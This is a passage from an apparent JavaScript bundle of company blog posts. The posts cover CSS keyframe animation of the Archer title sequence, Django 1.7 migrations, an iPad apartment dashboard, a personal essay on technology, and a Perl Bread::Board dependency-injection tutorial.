To keep things DRY, I\'ll send you over to Chris Coyier\'s\n[CSS-Tricks site](https://css-tricks.com/) for more details on the\n[keyframe syntax](http://css-tricks.com/snippets/css/keyframe-animation-syntax/).\n\n### Timing\n\nKeyframe animations use percentages (0-100%). The timing of each\npercentage point is based on the duration you set for the animation in\nCSS. The entire Archer title sequence is 30 seconds. Since the white\ndot exists through the entire sequence, I set its animation for 30s,\nwhich breaks down to 0.3s for each percent. Using that math, it was\nhelpful to set up some of the shorter animations that align with the\ndot for 3s, since that breaks down to 0.3s for every 10%. Easing\n(called `timing-function`) also plays a part in syncing up multiple\nanimations. Setting most of the animations to a linear easing worked\nout well for this project.\n\n```css\n@keyframes theDot {\n 0% {\n /* start properties */\n }\n 50% {\n /* other states inbetween */\n }\n 100% {\n /* end properties */\n }\n}\n\n.dot {\n animation: theDot linear 30s 0s forwards;\n /* animation: <name> <timing-function> <duration> <delay> <fill-mode>; */\n}\n```\n\n### Steps Function\n\nFor most of the animations I used the basic syntax shown above. I\nadjusted various properties, such as position and rotation, for the\ndesired result. However, for a couple of the more robust silhouette\nanimations (e.g., Lana lifting her gun and Archer running from Lana\'s\nshot), I set up spritesheets and used the `steps()` timing function.\nYou\'ll see that these animations aren\'t as smooth as some of the\nothers. This is because I only broke them down into a couple of steps.\nAs with any sprite-based animation, having more frames allows for\nsubtler changes between each, making for a smoother experience.\n\n<p data-height="361" data-theme-id="0" data-slug-hash="myQmoQ"\n data-default-tab="result" data-user="tetowill" class="codepen">
1\n See the Pen\n <a href="https://codepen.io/tetowill/pen/myQmoQ/">myQmoQ</a>\n by Will Hutch\n (<a href="https://codepen.io/tetowill">@tetowill</a>)\n on <a href="https://codepen.io">CodePen</a>.\n</p>\n\nUsing the `steps` function works well in certain circumstances, but\nsometimes the desired effect is much easier with separate images\n(e.g., Cyril on the phone and Malory drinking). Creating a spritesheet\nfor these animations would have taken longer and not been as smooth.\nThat being said, the only reason I was able to use separate images is\nbecause they do not need to be transparent. If they did need to be\ntransparent, the images\' overlap would shine through. You can view\nthis for yourself by adding an opacity to the images in the CodePen\nbelow.\n\n<p data-height="453" data-theme-id="0" data-slug-hash="jEQwbq"\n data-default-tab="result" data-user="tetowill" class="codepen">\n See the Pen\n <a href="http://codepen.io/tetowill/pen/jEQwbq/">jEQwbq</a>\n by Will Hutch\n (<a href="http://codepen.io/tetowill">@tetowill</a>)\n on <a href="http://codepen.io">CodePen</a>.\n</p>\n\n### Tricks\n\nOne of the trickier pieces of this animation was the white dot cutting\nthrough the background on certain scenes. I decided the best way to\nmimic this was to set up a black trail coming off of the dot. Syncing\nup the trail length and the forward motion, so that the end of the\ntrail wasn\'t visible, took some tweaking. In the end I think this was\nthe easiest solution.\n\n<p data-height="443" data-theme-id="0" data-slug-hash="KwGLOM"\n data-default-tab="result" data-user="tetowill" class="codepen">\n See the Pen\n <a href="http://codepen.io/tetowill/pen/KwGLOM/">KwGLOM</a>\n by Will Hutch\n (<a href="http://codepen.io/tetowill">@tetowill</a>)\n on <a href="http://codepen.io">CodePen</a>.\n</p>\n\n## Helpful Tools\n\nAs you can imagine, syncing things gets tedious and I had to make a\nlot of adjustments to fine-tune things. Luckily, I (and the rest of\nthe front-end team here at Infinity) recently attended the\n[Smashing Conference in Whistler](http://smashingconf.com/whistler-2014/)\nwhere Paul Irish demonstrated that Chrome Canary had some new\ndeveloper tools for CSS animations. These new tools allow you to pause\nand adjust the speed of the animations playing on the page. Being able\nto slow down the animations to a tenth of the normal speed was a huge\nhelp in syncing up the timings of different animations.\n\n<div class="center">\n <img src="/content/images/blogs/taking-css-animations-to-the-danger-zone/css-animation-dev-tools.png"\n title="Chrome CSS animation dev tools window"\n alt="Chrome CSS animation dev tools window">\n</div>\n\nAnother feature I hope the Chrome team will add is a scrubber for\nmoving backwards and forwards through animations. Even just a couple\nseconds back and forth would be awesome. There is no rewind\nfunctionality with keyframe animations, so once you go past your mark,\nyou have to run through it all again to get back.\n\n## Staying Sane\n\nObviously, there are a few graphics and animations that I had to\nsimplify in order to get this set up in a timely manner and keep my\nsanity, but that\'s to be expected. For example, I didn\'t attempt the\nmoving graphics in the backgrounds. Those were just too detailed to\nrecreate. If I were going to add those, I\'d redo the two silhouette\nanimations I created using separate images to make them stepped sprite\nanimations instead. That way, I could lower the opacity to have the\nbackground graphics show through without the overlapping issue.\n\nI also did all my testing in Chrome and Canary to keep things easy. I\nthought it best not to go down the rabbit hole of cross-browser\ncompatibility since I wanted to get this finished without cursing too\nmuch.\n\n## Final Thoughts\n\nCSS keyframe animations are powerful but I think they are better\nsuited for sequences shorter than this. The percentage system\nimplemented by keyframe animations makes adjusting timing and syncing\nmultiple animations tedious. As a follow up, I plan to recreate this\nagain using a JavaScript animation library, such as\n[GreenSock](https://greensock.com/). That way we
1can compare the two\nboth in terms of output quality and in effort required.\n\n## End Result\n\nI guess it\'s about that time. Let\'s take a look to see what\'s been\naccomplished. Just scroll down and click play. All in all, not too bad\nif I may say so myself! Perhaps I\'ll fine tune it a bit more for the\nJS follow-up. For those of you who want to dig deeper, this entire\nproject is available on\n[GitHub](https://github.com/tetowill/archer-css).\n\n<div id="archer-animation-placeholder"></div>\n',icon:U.A,color:"purple",injectedComponents:[{id:"archer-animation-placeholder",component:eT.default}]};var ex=t(5710);let eS={slug:"django-migrations",title:"Django Migrations",excerpt:"Django 1.7 finally brings built-in database migrations, making schema changes easier to track, safer to apply, and far less manual than old tools like South. With simple commands and automatic SQL generation, updating your models no longer means wrestling with scripts or risking data loss.",authors:["Nate Robison"],publishDate:new Date("2015-03-13"),category:"Development",tags:["Technology","Django","Python"],readTime:"3 min read",content:"The recent release of [Django 1.7](https://www.djangoproject.com/)\ncomes with built-in support for database migrations. In previous\nversions of Django, the popular way to manage migrations was a\nthird-party tool called [South](http://south.aeracode.org/). Thanks to\na successful\n[Kickstarter](https://www.kickstarter.com/projects/andrewgodwin/schema-migrations-for-django)\nproject, the creator of South worked to build support for migrations\ninto Django 1.7.\n\n\x3c!-- cut --\x3e\n\n## Why is this a big deal?\n\nYou might be wondering why you should care about Django now having\nbuilt-in migrations. There are a few reasons:\n\n1. Easier version control of database changes.\n\n The way Django creates migrations allows change tracking. Any\n time a migration is created and applied, it is stored in numerical\n order with the changes in a `.py` file with standard formatting.\n That means that it is much easier to track when, where, and\n what has been changed, all using your existing source control system.\n\n2. Quick and easy changes.\n\n Migrations allow quicker and easier modification of an existing\n schema without the hassle of dropping and re-creating tables. This\n is very important if there is data that must not be lost when a\n schema change is required.\n\n3. Avoid SQL (unless you like that kind of thing).\n\n Using SQL with Django is acceptable but thanks to migrations there\n is no need to maintain SQL scripts. The built-in migrations will\n generate and execute the correct SQL based on which database engine\n you use.\n\n## Itâs Python therefore itâs easy right?\n\nCorrect!\n\nThe built-in migration tools make it very easy to create and execute\nthe migrations. Let's assume you have a brand new project and have yet\nto run the `syncDB` command to automatically create the database\nschema. Using the command line, navigate to the project's root\ndirectory. Then:\n\n```python\nmanage.py makemigrations [Optional App Name here]\n```\n\nUsing the above command will create the initial migrations. If you do\nnot include an app name, Django will create an initial migration for\nall apps within the project.\n\nThen, apply the migration by running the following command:\n\n```python\nmanage.py migrate [Optional App Name here]\n```\n\nThis will look within the migrations directory to apply any new\nmodifications. If an app name is provided, Django will apply the\nmigrations only for that app.\n\nThatâs all. You have applied your migrations and made changes to the\nschema.\n\n## What if I have an existing project or have used South?\n\nThe steps for creating migrations for an existing project or a project\nusing South are almost the same as above. If you have an existing\nproject, follow these simple steps to start using migrations. For\ndetailed instructions about moving from South to Django migrations see\n[the Django Documentation](https://docs.djangoproject.com/en/dev/topics/migrations/#upgrading-from-south).\n\n1. If you previously used South, delete any South migrations, or move\n them to a new directory.\n\n2. Make the initial migration:\n\n ```python\n manage.py makemigrations\n ```\n\n This will create migrations for all apps within the project.\n\n3. \"Apply\" the migrations:\n\n ```python\n manage.py migrate\n ```\n\nThis will allow Django to see that the tables already exist and mark\nthe migration as complete.\n\nThatâs it! You have moved to adopted Django migrations and can now use\nmigrations anytime you need to change the database schema. This means\nediting models and the corresponding database is quick and painless.\n\n## Summary\n\nIf you are using Django and not using migrations or South, then you\nshould really consider upgrading to 1.7. The built-in migrations are\nvery powerful and extremely useful when dealing with database schema\nchanges. These migrations can be done with two simple c
1ommands that\ncreate and execute most changes. It doesn't get much easier than that.\nIt even properly handles foreign keys. Check out the Django 1.7\n[release notes](https://docs.djangoproject.com/en/dev/releases/1.7/)\nto find out what other great features have been added.\n",icon:ex.A,color:"yellow"};var eC=t(627);let eP={slug:"a-dashboard-for-my-apartment",title:"A Dashboard for My Apartment",excerpt:"My previously-unused iPad now serves as a dashboard and control panel for my apartment.",authors:["Shawn M Moore"],publishDate:new Date("2015-03-06"),featuredImage:"/content/images/blogs/a-dashboard-for-my-apartment/mounted-ipad.jpg",category:"Development",tags:["Technology","Culture","Passions","Mobile","Internet of Things"],readTime:"9 min read",content:"I originally bought my iPad back when tablets were becoming a fad. I\nhad expected to use it for everything from reading ebooks to playing\nelaborate new games. But no, it has been sitting idle, collecting\ndust, for years. Even the promise of a shared, coffee-table web\nbrowser has fallen flat. Whenever there's a task to be done, I instead\nreach for my laptop or my phone. After all, as phones get larger and\nmore capable, and laptops get lighter and extend their battery life,\nthe sweet spot that tablets offer gets squeezed out from both above\nand below. So for the past year or so, my usage has been limited to\nordering food online with friends, passing the iPad down the couch.\nBut now I've finally figured out the perfect job for it. I've mounted\nit right next to my front door. My previously-unused iPad now serves\nas a dashboard and control panel for my apartment.\n\n\x3c!-- cut --\x3e\n\n## Hardware\n\nThe hardware for this project was surprisingly the easiest part.\nReally all I had to do was buy a mount that fit my old iPad 2. The\nonly other requirement was ease of unmounting and remounting for those\nrare occasions of temporarily putting it to some other use. There are\nso many mounts on Amazon. Apparently a lot of people set one up in the\nkitchen as a fancy recipe book, or in the bathroom as a replacement\nfor the ubiquitous back-of-the-toilet paper book.\n\nMy one remaining issue was power: should I leave it plugged in all the\ntime with an unsightly power cable to the nearest outlet? No way. Or\ndo I leave it unplugged and hope the battery lasts? Or, well, I could\nopen up the wall and run power right to the tablet, maybe even embed\nthe whole thing directly into the wall. But since I rent, it's not\nworth those headaches. My landlord is amazing but I wouldn't want to\ntest her sympathy for my techy project. With my infrequent usage, the\nbattery discharges only about 1% a day, so plugging it in overnight\nonly once every few months is the ideal solution for me.\n\n## Software\n\nIt's not enough to merely attach an iPad to a wall. More than _be_, it\nhas to _do_. I want there to be as little friction as possible for\ncontrolling my apartment and for viewing important information. I\ndon't even want to bother with switching between apps. Each and every\nstep between me and my goal is another place to get distracted, or\nanother little annoyance to make me not want to bother with this\nstupid thing.\n\nSo I've been working on an app to meet my specific needs. The goal is\nturn on the iPad and have all the heterogeneous information I want on\none screen, alongside single-tap buttons to control the growing\ninternet of things that lives in my house.\n\n### Setup\n\nBattery life is suddenly a large concern for this tablet, which is a\nnew constraint from how I previously used it. So I wiped it clean and\nstarted fresh, installing no apps. I also turned off features I won't\nneed, like Bluetooth and Background App Refresh. Auto-lock now kicks\nin after two minutes. I configured as many of those sorts of things as\nI could find in order to maintain battery life as much as possible.\n\nThe slide to unlock gesture is great for phones. You never want to\naccidentally unlock your phone while it's still in your pocket,\nbecause that's how butt dialing happens. But that feature makes little\nsense for a tablet mounted to a wall. I wish I could disable it\ncompletely. If I left the Smart Cover on, then opening that unlocks\nthe iPad as a handy side effect, which could be made to work but is\nstill less than ideal. I don't want that flapping around.\n\nThere's another way though. iOS has a feature called Guided Access.\nIt's designed to keep the user locked within a specific application.\nThe primary use case is letting retail store customers use iPads\nwithout being able to leave the store's app. Apple decided that for\nthat scenario there's no reason to bother users with slide to unlock.\nSo it's perfect for my needs! Not only does it disable slide to\nunlock, but it also keeps me stuck in my own dashboard app. Push the\npower or home button and immediately my app is always right there.\nPerfect! (In case you're wondering how you could ever escape Guided\nAccess, you triple-tap the Home button and type in a passcode)\n\nWell, almost perfect. Every single time I turn on the iPad during\nGuided Access, there's a little notification that warns \"Guided Access\nis enabled.\" It looks like there's no way to disable that yet.\n(_Why??_) In the meantime, I've worked around this annoyance by\nnot putting any controls in the top 44 pixels where that notification\nappears. Getting rid of slide to unlock is worth this minor annoyance.\n\n### Lights\n\nOne of my favorite holy-shit-it's-really-the-future gadgets is WiFi\nlightbulbs. They're still more expensive than it feels like they\nreally should be, but I gladly pay the early adopter tax for the\ncoolness.\n\nWhen I leave my apartment I turn off all the lights. Previously, that\ninvolved pulling out my phone, hitting the home button, finding the\nlightbulb app, getting distracted (_oh has
1it already been thirty\nseconds since I last checked Twitter?_), regaining focus, opening the\nlightbulb app, turning off each light one by one. As you can imagine I\ngot fed up with this process every time.\n\nAnd so the first component of the app I built was for controlling\nlights. There are four buttons across the top of the display: off,\nhalf, full, color. \"Half\" and \"full\" refer to white light at various\ndimness levels. \"Color\" sets the lights to be a particular set of\ncolors I've chosen. I love the way the lights' colors mix on my wall.\n\n<div class=\"center\">\n <img src=\"/content/images/blogs/a-dashboard-for-my-apartment/lights.jpg\"\n title=\"Wall color mix\"\n alt=\"Wall color mix\" />\n</div>\n\nThis is already a huge win over using my phone. For one, it's down to\nonly two taps: home button, then \"off\". It's also done using a\ndedicated device that has no distractions for me to explore. There are\ntoo many temptations on my phone. It now takes me much less time to\nphysically exit my apartment!\n\nIt was very easy to implement this feature thanks to the\n[Philips Hue API](http://www.developers.meethue.com). When I tap a\nbutton, the app just sends an HTTP POST request with the light values\nI want to the gateway. Done!\n\n### Weather\n\nThe next component was weather. As with wifi lights, there's a huge\nholy-shit-it's-really-the-future app in\n[Dark Sky](http://darkskyapp.com) (also available as\n[forecast.io](http://forecast.io)). Hyperlocal to-the-minute weather\npredictions is mindblowing. What's more is the Dark Sky app is super\nslick and pretty, and that adds a lot to the experience.\n\n<div class=\"center\">\n <img src=\"/content/images/blogs/a-dashboard-for-my-apartment/dark-sky.png\"\n title=\"Screenshot of the Dark Sky app\"\n alt=\"Screenshot of the Dark Sky app\" />\n</div>\n\nIf I could embed their app's UI directly into mine, I'd definitely\njust do that. I can't, but at least I still have the same data they\ndo, because the [forecast.io API](https://developer.forecast.io) that\nbacks their applications is open to all developers. So the app issues\nan HTTP GET, parses the JSON, and displays the important information\nas text.\n\nThe current display tells me the current temperature and tqhe\nconditions for the next hour. These are human-friendly descriptions\nthat the API response includes for you, which is just excellent. That\nis much better than forcing every app developer to figure out what's\nimportant about the upcoming weather conditions. In the future I'll\ntweak this to be quieter: for example, instead of _always_ showing\nweather conditions, tell me only if it will rain today, and when I\nshould expect it to start. After all, what I really care about is\nwhether I should bring an umbrella, or if it's oppressively frigid.\nWhich, given that I live in Boston, I haven't needed an app for this\nwinter.\n\nDark Sky automatically figures out where in the world you are, but my\niPad isn't moving so I hardcoded my apartment's latitude and\nlongitude. Better to save the battery that geolocating would use. If I\nput this on the App Store, that would be a toggle switch in the\nsettings.\n\nThe one hitch is this weather information needs to be reasonably up to\ndate. My initial thought was to use Background Refresh to\nautomatically pull the data while the iPad is asleep. But there are\ntwo problems with that. The obvious one is background refresh is going\nto burn battery pulling weather data all day and all night that I will\nnever see. More subtle is that when I turn on the display on, the last\nrefresh might well have been hours ago, so the data it is showing will\nbe out of date.\n\nThe better way is old-fashioned but well-trodden: listen for\n`UIApplicationDidBecomeActiveNotification`, which is sent when the\niPad wakes from sleep back into my application. Only then do I refresh\nthe weather. The HTTP GET request has so far always come back\nextremely quickly, so I haven't even bothered putting in a loading\nindicator yet. Now the data is always perfectly fresh, and I only pay\nthe battery cost of pulling weather data when I physically request\nthat information.\n\n### Drawing Canvas\n\nThe third component was silly. I had plenty of extra room on the iPad\ndisplay. So I filled it with a scratchpad. To keep it simple there's\nno UI: you can draw in any color you like, as long as it's red. Long\npress the canvas to clear it.\n\nIt's not elaborate or life-changing, but it's a bit of fun, and what's\nlife without fun? :)\n\n## Future\n\nNow that I've set up this iPad with the right hardware and software,\nit's quickly become a part of my daily life. So I will continue to\nimprove the app gradually for a long time. I already have a big list\nof things I want to add. First and foremost is integration with my\nphone's pedometer. Since the iPad is the last thing I check before I\nhead outside, I want it to tell me that I better walk the scenic route\nin order to hit my 10,000 steps for the day. I'll have to write a\ncompanion iPhone app for that, since I don't know of any pedometer\napps with webhooks. I want a system for apartment-level notifications\nlike packages arriving and the iPad's battery being low. And finally I\nwant to integrate my mail and calendar so that I don't leave the\napartment when I have an unseen U
1RGENT!! email from the boss, or when\nI have a meeting in 30 minutes that I forgot about. Computers\nthankfully rule everything around me.\n\nMaybe I'll put it on the App Store, but this is more intended to be a\ntool custom-fit to me. I hope that such things will become\nincreasingly common as more people pick up programming. They say it's\nthe new literacy. I'm not sure if I agree to that exent, but some\nbasic software engineering would probably help most people in this\nincreasingly digital world.\n\n<div class=\"center\">\n <img src=\"/content/images/blogs/a-dashboard-for-my-apartment/app-screenshot.png\"\n title=\"Screenshot of my dashboard app\"\n alt=\"Screenshot of my dashboard app\" />\n</div>\n",icon:eC.A,color:"red"};var eD=t(7937);let ej={slug:"grandma-can-you-pause-the-story",title:"Grandma, Can You Pause the Story?",excerpt:"I remember smiling to myself when my granddaughter asked me to âpauseâ while reading her a bedtime story. To her, the language was appropriate. She has only known a world where you have the power to âpauseâ by simply pushing a button.",authors:["Tracey Shirley"],publishDate:new Date("2015-03-03"),category:"Culture",tags:["Culture","Internet of Things"],readTime:"3 min read",content:"I think about my grandmother who was born under a tree out back\nbecause the only bed in the cabin was occupied by a sick relative.\nBorn in 1913, she lived to be 93. We often discussed the changes she\nexperienced in her lifetime: automobiles, indoor plumbing, television,\nand space travel, to name just a few. She never quite got the hang of\nvoicemail. More than once I got a message that went something like, âI\ndonât know if she is there or not, I think I got the box.â\n\nThough time has put my grandmother and my granddaughter on opposite\nends of the technology curve, they will have many parallel\nlife-changing experiences due to advances in technology.\n\nI am in the middle. A conduit, if you will, between the past and the\nfuture.\n\nI am a bit slower than my younger coworkers when it comes to knowing\n(and at times understanding) what is new in this ever-changing\ntechnology world. I am like an older 386 processor: I get the job\ndone, it just takes longer. But my granddaughter na\xefvely thinks I know\nmore than I do, simply because I know more than she does.\n\nI am becoming familiar with the term âInternet of Thingsâ only because\nI am reading\n[The Patient Will See You Now](http://www.amazon.com/Patient-Will-See-You-Now-ebook/dp/B00NP8MDYK).\nIt's a great read about how medical care of the future will evolve to\nthe point where people will be the stewards of their own health,\nhealth data, and health care. I am excited about this change. Let's\nface it, if you die due to a medical error, the doctor feels bad for\nan hour or two, but life goes on. For you, not so much.\n\nWithout technology we would never be able to drive our own health\ncare. Technology will empower us to not only store years of health\ndata but also to access it whenever and wherever needed, in\nmilliseconds. Medical devices (blood pressure monitors, pace makers,\nartificial limbs, etc.) will check and report status automatically,\nalerting you if a problem is detected. This will take the place of\nmost routine office checkups.\n\nTechnology is just about everywhere you look, even when you are not\nlooking. The other day a stern female voice surprisingly emanated from\nthe dashboard of our new vehicle. It advised us that the posted speed\nlimit was 45 MPH and we were exceeding it. My husband checked with the\ndealer to see if that âfeatureâ could be disabled. To his dismay (and\nmy joy), we're stuck with her.\n\nThey say the only constant is change. With that in mind, we should\nembrace change. But keep in mind that change for one person may just\nbe standard operating procedure for someone else.\n\nSo I âpausedâ reading while she got a drink of water, and then picked\nback up _right where we left off_. Take that, Netflix!\n\nAfter story time I tucked her in and kissed her good night. For now,\nHumans 1, Machines 0.\n",icon:eD.A,color:"amber"},eW={slug:"bread-board",title:"A Gentle Introduction to Bread::Board",excerpt:"Inversion of Control can feel intimidating, but Bread::Board makes complex dependency wiring in Perl far more manageable. This walkthrough shows how to replace sprawling constructors with a clean, declarative container setup that keeps components flexible and testable without sacrificing clarity.",authors:["Yanick Champoux"],publishDate:new Date("2015-02-06"),category:"Development",tags:["Technology","Perl"],readTime:"20 min read",content:"[Bread::Board](https://metacpan.org/release/Bread-Board). It has one\nhoary hairy heck of a scary reputation.\n\nBut while it's not totally undeservedâ_Inversion of Control_ as a\nconcept tends even at its best to, well, turn one's mind inside-out\nlike a sockâthe truth is much less daunting than the hype would have\nyou think.\n\n\x3c!-- cut --\x3e\n\n## What is it for, anyway?\n\nBread::Board's punny name is a bit of a tactical mistake. While it\nmakes its purpose evident to those accustomed to dabbling with\nhardware and the physical aspects of electronics, it leaves the rest\nof us without a clue what is going on. Going straight for the\nInversion of Control lingo doesn't help either, as those abstract\nconcepts trigger glazed befuddlement.\n\nInstead of all of that, let's take a pragmatic, down-to-earth\napproach, and build a case for Bread::Board by working an example.\n\n## Our example system\n\nSay that you have a fairly large project involving a web application\nas well as a backend reporting system. At a very high level, the main\nclasses of those two components could look like:\n\n```perl\npackage My::WebApp {\n\n # we need a database handler\n has dbh => (\n is => 'ro',\n isa => 'DBI',\n );\n\n # ... and a logging system\n has logger => (\n is => 'ro',\n );\n\n # lots of code goes here...\n\n}\n\npackage My::Reporting {\n\n # we need a database handler\n has dbh => (\n is => 'ro',\n isa => 'DBI',\n );\n\n # ... and a logging system\n has logger => (\n is => 'ro',\n );\n\n # ... and we'll generate a few PDF reports\n has pdf_generator => (\n is => 'ro',\n );\n\n # lots of code goes here...\n\n}\n```\n\nTo launch the web application, we'd instantiate and call `run`:\n\n```perl\nm
1y $webapp = My::WebApp->new(\n dbh => DBI->connect( 'dbi:SQLite:foo' ),\n logger => My::Logger->new,\n);\n\n$webapp->run;\n```\n\nDitto for the reporting system:\n\n```perl\nmy $reporting = My::Reporting->new(\n dbh => DBI->connect( 'dbi:SQLite:foo' ),\n logger => My::Logger->new,\n pdf_generator => My::PDF::Generator->new,\n);\n\n$reporting->run;\n```\n\n## The sore points\n\nWhile it's not horrendous (yet), we can see where rough spots will\ndevelop. The list of arguments for each main object is already\nsizable, and we can expect it to grow quickly. Not only that, but the\narguments are duplicated all over the place. Of course, we don't want\nto hard-code any parameters unless we absolutely have to. We want the\nflexibility to set the components to whatever we want, for those\none-off special instances or when we want to test things in isolation.\nFor example, testing `My::Reporting` with all the real trimmings (the\ndatabase connection, the logger object and the PDF generator) could be\na daunting, complex endeavor. But it can be greatly simplified by\nreplacing them with suitable stand-ins:\n\n```perl\n# using DBD::Mock\nmy $dbh = DBI->connect( 'DBI:Mock:' );\n\nuse Test::Log::Dispatch;\nmy $log = Test::Log::Dispatch->new;\n\nuse Test::MockObject;\nmy $generator = Test::MockObject->new;\n$generator->set_true( 'generate' );\n\nmy $reporting = My::Reporting->new(\n dbh => $dbh,\n logger => $log,\n pdf_generator => $generator,\n);\n\n$reporting->run;\n\n# the fake $dbh and $log can now be\n# inspected for desired behaviors\n```\n\nSo, we want our flexibility, but we also want the common case to be\nshort and sweet.\n\n## A master object to rule them all\n\nHow can we have this delicious cake and eat it too? One solution is to\nadd one more layer atop the master classes that will take care of the\nconfiguration details:\n\n```perl\npackage My::AppBuilder {\n\n has config_file => (\n is => 'ro',\n );\n\n has config => (\n is => 'ro',\n isa => 'HashRef',\n lazy => 1,\n default => sub {\n # reads from $self->config_file\n # and transform into a perl struct\n },\n );\n\n has web_app => (\n is => 'ro',\n isa => 'My::WebApp',\n lazy => 1,\n default => sub {\n my $self = shift;\n return My::WebApp->new(\n dbh => DBI->connect( @{ $self->config->{dsn} } ),\n logger => My::Logger->( $self->config->{logger_args} ),\n );\n },\n );\n\n has reporting_app => (\n is => 'ro',\n isa => 'My::Reporting',\n lazy => 1,\n default => sub {\n my $self = shift;\n\n return My::Reporting->new(\n dbh => DBI->connect( @{ $self->config->{dsn} } ),\n logger => My::Logger->new( $self->config->{logger_args} ),\n pdf_generator => My::PDF::Generator->new( $self->config->{pdf_args} ),\n );\n },\n );\n\n}\n```\n\nThat's better. Now you can move your configuration details into a file\nand instantiate the object with it:\n\n```perl\nMy::AppBuilder->new( config_file => 'config.yml' )->
1web_app->run;\n```\n\n## The devil is in the details\n\nThat is better. But what happens if the PDF generator has a\nsub-component (say, its scheduler) that uses the logging system as\nwell? The master object will have to take it into consideration:\n\n```perl\nhas logger => (\n is => 'ro',\n lazy => 1,\n default => sub {\n my $self = shift;\n return My::Logger->new( $self->config->{logger_args} ),\n }\n);\n\nhas reporting_app => (\n is => 'ro',\n isa => 'My::Reporting',\n lazy => 1,\n default => sub {\n my $self = shift;\n\n return My::Reporting->new(\n dbh => DBI->connect( @{ $self->config->{dsn} } ),\n logger => $self->logger,\n pdf_generator => My::PDF::Generator->new(\n scheduler => My::Scheduler->new(\n logger => $self->logger,\n ),\n %{ $self->config->{pdf_args} },\n ),\n );\n },\n);\n```\n\n## Time to delegate?\n\nAs you can imagine, that can get hairy real fast. An alternative would\nbe to provide a common pool of resources to all sub-components, and\nlet them pick up whatever they need from this centralized bag. Using\nthat approach, we would change `My::AppBuilder` to be `My::AppConfig`:\n\n```perl\npackage My::AppConfig {\n\n has config_file => (\n is => 'ro',\n );\n\n has config => (\n is => 'ro',\n isa => 'HashRef',\n lazy => 1,\n default => sub {\n # reads from $self->config_file\n # and transform into a perl struct\n },\n );\n\n has logger => (\n is => 'ro',\n lazy => 1,\n default => sub {\n my $self = shift;\n return My::Logger->new( $self->config->{logger_args} ),\n }\n );\n\n}\n```\n\nAnd the reporting system would be modified to look like this:\n\n```perl\npackage My::Reporting {\n\n has app_builder => (\n is => 'ro',\n );\n\n # we need a database handler\n has dbh => (\n is => 'ro',\n isa => 'DBI',\n lazy => 1,\n default => sub {\n my $self = shift;\n\n return DBI->connect( @{ $self->app_builder->config->{dsn}} );\n },\n );\n\n # ... and a logging system\n has logger => (\n is => 'ro',\n lazy => 1,\n default => sub {\n my $self = shift;\n\n return My::Logger->new( app_builder => $self->app_builder );\n },\n );\n\n # ... and we'll generate a few PDF reports\n has pdf_generator => (\n is => 'ro',\n lazy => 1,\n default => sub {\n my $self = shift;\n\n return My::PDF::Generator->new( app_builder => $self->app_builder );\n },\n );\n\n has scheduler => (\n is => 'ro',\n lazy => 1,\n default => sub {\n my $self = shift;\n\n return My::Scheduler->new( app_builder => $self->app_builder );\n },\n );\n\n # lots of code goes here...\n\n}\n```\n\nIt might look like a little bit more code, but at least it localizes\nthe logic. `My::Reporting` doesn't have to worry about all the needs\nof its sub-objects. If they need anything from the main configuration,\nthey can just go and take it directly from `app_builder` themselves.\n\n## Good, but⦠good enough?\n\nIt's still not perfect. Now we have to bandy that `app_builder` object\nall around, and we kind of perverted the default settings of our\nattributes. `My::PDF::Generator` could have been a perfectly generic\nPDF-generating class, but now it has become tied to our overall\nsystem. Not overwhelmingly tightly, perhaps, but the bindings are\nthere.\n\nSo what to do?\n\n## Taking a step back\n\nLooking back at what we did so far, we can notice an interesting fact.\nWe are trying to solve not one, but _two_ different problems. On one\nhand, we want our huge system to configure itself, which asks for\nknowledge of our specific settings. Yet on the other hand, we want its\ninner components to remain as generic as possible. For two such\nopposing requirements, maybe what we need is not one, but two\nsolutions?\n\nAnd _this_ is where Bread::Board comes into play. It can be seen as a\nkind of pre-compiler that assembles the particular application we want\nto run. And it's in that \"pre-compiling/constructing\" element that all\nthe magic resides, because once Bread::Board finishes its thing, we'll\nhave our precious generic objects that just happen to have been\ninstantiated with all our specific configuration.\n\n## Bread::Board in four bullet points\n\nAt its core, the ideas behind Bread::Board are quite simple:\n\n1. You have services, which are things that your Bread::Board object\n is aware of. Those services can be any type of Perl value: simple\n strings, hashrefs, objects, etc.\n2. Eac
1h service is identified by a unique path. For example the\n database username could be `/database/username`.\n3. Each service can have dependencies on other services.\n4. Each service is given instructions on how to use its dependencies\n to build its final product.\n\nIs this the whole truth? No. Have I lied? Maybe a little bit. But for\nthe time being, that's enough of the real deal to serve our purpose.\n\n## The example system, revisited\n\nLet's rewrite the app building logic using Bread::Board's DSL.\n\n### Spinning the web of dependencies\n\nFirst, let's just layout the services and their dependencies. From the\ntop, we know that our web app service needs a database handle and a\nlogger:\n\n```perl\nuse Bread::Board;\n\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n );\n};\n```\n\nEach dependency has a local name, and is tied to a service that will\nprovide its value.\n\nGoing down the food chain, we now define the database handler and\nlogger services:\n\n```perl\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n );\n\n container database => as {\n service handle => (\n dependencies => {\n dsn => '/database/dsn',\n username => '/database/username',\n password => '/database/password',\n },\n );\n\n service dsn => ();\n service username => ();\n service password => ();\n };\n\n service logger => (\n );\n};\n```\n\nNice trick #1: dependency paths can also be relative to the current\ncontainer, which can help to make the whole dependency tree more\nmodular. So we can change the previous code to:\n\n```perl\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n );\n\n container database => as {\n service handle => (\n dependencies => {\n dsn => 'dsn',\n username => 'username',\n password => 'password',\n },\n );\n\n service dsn => ();\n service username => ();\n service password => ();\n };\n\n service logger => (\n );\n};\n```\n\nNice trick #2: if the dependency key and value are the same⦠yes, like\nMoose's `handles` feature, we can use an array reference instead:\n\n```perl\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n );\n\n container database => as {\n service handle => (\n dependencies => [ qw/ dsn username password / ],\n );\n\n service dsn => ();\n service username => ();\n service password => ();\n };\n\n service logger => (\n );\n};\n```\n\nFor the sake of completeness, we now add the reporting app to the mix:\n\n```perl\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n );\n\n service reporting => (\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n pdf_generator => '/pdf_generator',\n },\n );\n\n container database => as {\n service handle => (\n dependencies => [ qw/ dsn username password / ],\n );\n\n service dsn => ();\n service username => ();\n service password => ();\n };\n\n service logger => ();\n\n service pdf_generator => (\n dependencies => [ 'logger' 